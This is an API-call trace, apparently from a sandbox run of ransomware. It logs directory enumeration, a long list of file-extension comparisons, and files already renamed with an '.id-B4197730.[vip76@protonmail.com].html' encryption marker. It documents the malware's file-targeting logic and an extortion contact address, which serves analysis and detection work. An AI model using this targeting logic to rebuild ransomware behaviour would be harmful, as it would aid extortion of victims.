	[0165.964] lstrlenW (lpString=".divx") returned 5
	[0165.964] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0165.964] lstrlenW (lpString=".djvu") returned 5
	[0165.964] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0165.964] lstrlenW (lpString=".dng") returned 4
	[0165.964] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0165.964] lstrlenW (lpString=".doc") returned 4
	[0165.964] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0165.964] lstrlenW (lpString=".docm") returned 5
	[0165.964] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0165.964] lstrlenW (lpString=".docx") returned 5
	[0165.964] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0165.964] lstrlenW (lpString=".dot") returned 4
	[0165.964] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0165.964] lstrlenW (lpString=".dotm") returned 5
	[0165.964] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0165.964] lstrlenW (lpString=".dotx") returned 5
	[0165.964] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0165.964] lstrlenW (lpString=".dpx") returned 4
	[0165.964] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0165.964] lstrlenW (lpString=".dqy") returned 4
	[0165.964] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0165.964] lstrlenW (lpString=".dsn") returned 4
	[0165.964] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0165.964] lstrlenW (lpString=".dt") returned 3
	[0165.964] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0165.965] lstrlenW (lpString=".dtd") returned 4
	[0165.965] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0165.965] lstrlenW (lpString=".dwg") returned 4
	[0165.965] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0165.965] lstrlenW (lpString=".dwt") returned 4
	[0165.965] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0165.965] lstrlenW (lpString=".dx") returned 3
	[0165.965] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0165.965] lstrlenW (lpString=".dxf") returned 4
	[0165.965] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0165.965] lstrlenW (lpString=".edml") returned 5
	[0165.965] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0165.965] lstrlenW (lpString=".efd") returned 4
	[0165.965] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0165.965] lstrlenW (lpString=".elf") returned 4
	[0165.965] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0165.965] lstrlenW (lpString=".emf") returned 4
	[0165.965] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0165.965] lstrlenW (lpString=".emz") returned 4
	[0165.965] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0165.965] lstrlenW (lpString=".epf") returned 4
	[0165.965] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0165.965] lstrlenW (lpString=".eps") returned 4
	[0165.965] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0165.965] lstrlenW (lpString=".epsf") returned 5
	[0165.965] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0165.965] lstrlenW (lpString=".epsp") returned 5
	[0165.965] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0165.965] lstrlenW (lpString=".erf") returned 4
	[0165.965] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0165.965] lstrlenW (lpString=".exr") returned 4
	[0165.966] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".f4v") returned 4
	[0165.966] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".fido") returned 5
	[0165.966] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0165.966] lstrlenW (lpString=".flm") returned 4
	[0165.966] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".flv") returned 4
	[0165.966] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".frm") returned 4
	[0165.966] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".fxg") returned 4
	[0165.966] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".geo") returned 4
	[0165.966] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".gif") returned 4
	[0165.966] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".grs") returned 4
	[0165.966] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".gz") returned 3
	[0165.966] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0165.966] lstrlenW (lpString=".h") returned 2
	[0165.966] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0165.966] lstrlenW (lpString=".hdr") returned 4
	[0165.966] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".hpp") returned 4
	[0165.966] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".hta") returned 4
	[0165.966] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".htc") returned 4
	[0165.966] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".htm") returned 4
	[0165.966] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0165.966] lstrlenW (lpString=".html") returned 5
	[0165.967] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0165.967] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8135f280, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8135f280, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818964b2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.967] lstrlenW (lpString="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html") returned 58
	[0165.967] lstrlenW (lpString=".1cd") returned 4
	[0165.967] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0165.967] lstrlenW (lpString=".3ds") returned 4
	[0165.967] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0165.967] lstrlenW (lpString=".3fr") returned 4
	[0165.967] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0165.967] lstrlenW (lpString=".3g2") returned 4
	[0165.967] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0165.967] FindNextFileW (in: hFindFile=0x6abb18, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8135f280, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8135f280, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818964b2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.967] FindClose (in: hFindFile=0x6abb18 | out: hFindFile=0x6abb18) returned 1
	[0165.968] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.968] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1
	[0165.968] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.968] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abb98
	[0165.969] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.969] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819550ae, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819550ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819550ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.969] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81908bf2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81908bf2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8192ee1b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.969] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x814b692d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x814b692d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x814dca59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.969] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x814b692d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x814b692d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x814dca59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.969] FindClose (in: hFindFile=0x6abb98 | out: hFindFile=0x6abb98) returned 1
	[0165.970] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.970] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1
	[0165.970] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.970] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abc98
	[0165.971] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.971] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8192ee1b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8192ee1b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8192ee1b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.971] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819550ae, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819550ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81d34fc9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.971] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x814dca59, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x814dca59, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x814dca59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.971] FindNextFileW (in: hFindFile=0x6abc98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x814dca59, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x814dca59, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x814dca59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.971] FindClose (in: hFindFile=0x6abc98 | out: hFindFile=0x6abc98) returned 1
	[0165.972] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.972] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0165.972] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.972] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abf58
	[0165.973] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.973] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819550ae, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819550ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8197b23e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.973] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8197b23e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8197b23e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8197b23e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.973] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81502ccf, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81502ccf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81502ccf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.973] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81502ccf, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81502ccf, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81502ccf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.973] FindClose (in: hFindFile=0x6abf58 | out: hFindFile=0x6abf58) returned 1
	[0165.974] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.974] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0165.974] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.974] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abf58
	[0165.975] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="..", cAlternateFileName="")) returned 1
	[0165.975] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819a15fe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819a15fe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81e8c580, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="eula.rtf.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="EULART~1.HTM")) returned 1
	[0165.975] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x81d34fc9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x81d34fc9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x81d5aff5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0165.975] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819a15fe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819a15fe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819a15fe, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 1
	[0165.975] FindNextFileW (in: hFindFile=0x6abf58, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x819a15fe, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x819a15fe, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x819a15fe, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName="SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPR~1.HTM")) returned 0
	[0165.975] FindClose (in: hFindFile=0x6abf58 | out: hFindFile=0x6abf58) returned 1
	[0165.976] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0165.976] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0165.976] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0165.976] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffb899, dwReserved1=0x1b1, cFileName=".", cAlternateFileName="")) returned 0x6abfd8
